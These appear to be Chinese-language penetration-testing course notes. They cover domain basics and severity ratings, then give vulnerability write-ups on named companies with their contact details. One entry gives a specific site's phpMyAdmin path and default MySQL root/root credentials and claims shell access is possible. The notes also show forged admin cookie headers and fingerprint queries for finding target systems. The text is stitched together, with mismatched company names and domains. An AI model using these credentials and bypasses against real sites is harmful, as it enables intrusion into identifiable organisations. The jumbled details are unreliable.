顶级域:.com 商业网站 .net 网络中心 .org 国际组织 .gov 政府部门 .edu 教育机构
一级域名:baidu.com sougou.com
二级域名:www.baidu.com www.sougou.com
www.baidu.com –> WEB服务器:123.123.123.123
email.baidu.com –> 邮件服务器:234.234.234.234
查看企业单位信息:企查查 / 爱企查 / 风鸟
#漏洞评级-CVSS
严重:能够获取服务器/集群的控制权限 - 绝密资料的数据库控制权限
高危:能够获取服务器的控制权限
中危:WEBshell
低危:未授权
单位信息
公司名称:南京速达蜂互联网科技有限公司
公司官网:www.sudafeng.com
联系方式:15724895376
注册资本:200万元
公司地址:南京市雨花台区龙飞路12号锦都大厦503A室
漏洞地址:http://icp.sudafeng.com/
南京速达蜂互联网科技有限公司-MySQL数据库-存在指令漏洞导致GetShell
http://angranlvyi.cn
经利用目标网站提供的数据库连接检测功能进行安全测试,发现其数据库账户使用了默认口令,可借此成功完成身份认证。能够GetShell并获取服务器的控制权限,存在严重的安全配置疏漏。
步骤一:访问官网的二级域名发现icp.xiaofeixiangwh.cn,经测试网页功能点发现存在Mysq数据库的默认口令!
#用户名:root
#密码:root
步骤二:通过目录扫描发现存在Phpmyadmin的数据库管理程序,进行登录连接,成功如下!
http://icp.sudafeng.com/phpmyadmin/
公司名称:河南青年报刊社有限公司
公司官网:www.sudafeng.com
联系方式:0371-63389081
注册资本:1000万元
公司地址:河南自贸试验区郑州片区(郑东)祥盛街27号出版产业园C1座3楼
漏洞地址:http://icp.sudafeng.com/
第六天
AIGC
CTF
第七天
第八天
1 | # 官方网站 |
title=”锁群管理系统”
Set-Cookie: username=%e7%ae%a1%e7%90%86%e5%91%98; path=/
Set-Cookie: code=admin; path=/
Set-Cookie: power=1; path=/
Set-Cookie: powerName=%e8%b6%85%e7%ba%a7%e7%ae%a1%e7%90%86%e5%91%98; path=/
X-Powered-By: ASP.NET
Date: Sun, 04 Jan 2026 08:37:44 GMT
Connection: close
Content-Length: 1
0
title=”通达OA网络智能办公系统”








